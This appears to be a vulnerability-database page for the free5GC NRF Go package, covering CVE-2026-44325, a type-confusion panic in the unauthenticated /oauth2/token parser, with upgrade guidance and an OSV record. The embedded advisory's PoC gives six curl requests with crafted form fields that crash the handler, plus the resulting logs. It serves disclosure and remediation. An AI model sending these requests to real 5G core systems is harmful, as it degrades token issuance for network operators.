Vulnerabilities in pkg:golang/github.com/free5gc/nrf
PACKAGECVE-2026-44325 is a HIGH (CVSS 7.5) type-confusion panic vulnerability (CWE-755: Improper Handling of Exceptional Conditions) affecting free5GC NRF libraries in the Go ecosystem. The issue involves type-confusion panic in post /oauth2/token structured-form parser via reflect.set on incompatible types. Remediation is available by upgrading affected packages to version 1.4.3.
pkg:golang/github.com/free5gc/nrf
Vulnerability advisories affecting package pkg:golang/github.com/free5gc/nrf. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-f8qv-7x5w-qr48 | CVE-2026-44325 | HIGH | free5GC NRF: type-confusion panic in POST /oauth2/token structured-form parser via Reflect.Set on incompatible types |
| GHSA-q7c8-gfjh-8v4p | CVE-2025-66719 | CRITICAL | Free5gc NRF is vulnerable to scope validation bypass via maliciously crafted targetNF value |
| GHSA-7c47-xr7q-p6hg | CVE-2026-33062 | HIGH | free5GC NRF Discovery EncodeGroupId Function Panics on Malformed group-id-list Parameter |
CVE-2026-44325 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-44325
To remediate this vulnerability, upgrade all affected free5GC NRF dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/free5gc/nrf to 1.4.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/free5gc/nrf
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-44325, inspect your project dependencies for free5GC NRF:
inspect dependencies for github.com/free5gc/nrf
Analyze the terminal output to locate any version of free5GC NRF in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.3), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-755: Improper Handling of Exceptional Conditions, where the product does not handle or incorrectly handles an exceptional condition. In free5GC NRF, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44325 Affected free5GC NRF Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/free5gc/nrf
|
Go |
< 1.4.3
|
1.4.3
|
References
Frequently Asked Questions
What is CVE-2026-44325?
Which free5GC NRF versions are affected?
What version fixes CVE-2026-44325?
Is github.com/free5gc/nrf affected?
What is the CVSS score of CVE-2026-44325?
What CWE is associated with CVE-2026-44325?
How can I check Go dependencies for CVE-2026-44325?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f8qv-7x5w-qr48",
"modified" : "2026-06-08T23:48:13Z",
"published" : "2026-05-08T22:56:03Z",
"aliases" : [ "CVE-2026-44325" ],
"summary" : "free5GC NRF: type-confusion panic in POST /oauth2/token structured-form parser via Reflect.Set on incompatible types",
"details" : "### Summary\nfree5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.\n\nNote: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.\n\n### Details\nValidated against the NRF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nrf:v4.2.1`\n- Docker validation date: 2026-03-22\n- NRF endpoint: `http://10.100.200.3:8000`\n\nRoot cause is in the access-token request parser:\n- `NFs/nrf/internal/sbi/api_accesstoken.go:52`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:87`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:98`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:100`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:112`\n\nThe model definition lives in `free5gc/openapi`:\n- `models/model_nrf_access_token_access_token_req.go:27`\n- `models/model_nrf_access_token_access_token_req.go:29`\n- `models/model_nrf_access_token_access_token_req.go:30`\n- `models/model_nrf_access_token_access_token_req.go:31`\n\nThe parser's effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error.\n\nConfirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST):\n- `requesterPlmnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnId`\n- `requesterSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai`\n- `requesterSnpnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnIdNid`\n- `targetSnpn` -> panic assigning `*models.PlmnId` to `*models.PlmnIdNid`\n- `targetSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai`\n- `targetNsiList` -> panic assigning `*models.PlmnId` to `[]string`\n\n### PoC\nReproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler.\n\n1. `requesterPlmnList` -> `[]models.PlmnId` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n --data-urlencode 'requesterPlmnList={\"mcc\":\"208\",\"mnc\":\"93\"}'\n```\n\n2. `requesterSnssaiList` -> `[]models.Snssai` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n --data-urlencode 'requesterSnssaiList={\"mcc\":\"208\",\"mnc\":\"93\"}'\n```\n\n3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n --data-urlencode 'requesterSnpnList={\"mcc\":\"208\",\"mnc\":\"93\"}'\n```\n\n4. `targetSnpn` -> `*models.PlmnIdNid` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n --data-urlencode 'targetSnpn={\"mcc\":\"208\",\"mnc\":\"93\"}'\n```\n\n5. `targetSnssaiList` -> `[]models.Snssai` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n --data-urlencode 'targetSnssaiList={\"mcc\":\"208\",\"mnc\":\"93\"}'\n```\n\n6. `targetNsiList` -> `[]string` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n --data-urlencode 'targetNsiList={\"mcc\":\"208\",\"mnc\":\"93\"}'\n```\n\nObserved response (per request, no body returned):\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\nNRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type:\n```\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string\nINFO][NRF][GIN] | 500 | POST | /oauth2/token |\n```\n\n### Impact\nType-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).\n\nThis is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.\n\nWhat the bug realistically gives an off-path attacker:\n- A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST.\n- Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time.\n- A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family.\n- Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history.\n\nNo Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/918\nUpstream fix: https://github.com/free5gc/nrf/pull/83",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/free5gc/nrf"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.4.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/free5gc/free5gc/security/advisories/GHSA-f8qv-7x5w-qr48"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44325"
}, {
"type" : "WEB",
"url" : "https://github.com/free5gc/free5gc/issues/918"
}, {
"type" : "WEB",
"url" : "https://github.com/free5gc/nrf/pull/83"
}, {
"type" : "WEB",
"url" : "https://github.com/free5gc/nrf/commit/f7bc77daa7425506af7569f2e61c2a210f5a0423"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/free5gc/free5gc"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-755", "CWE-843" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-08T22:56:03Z",
"nvd_published_at" : "2026-05-27T17:16:37Z"
}
}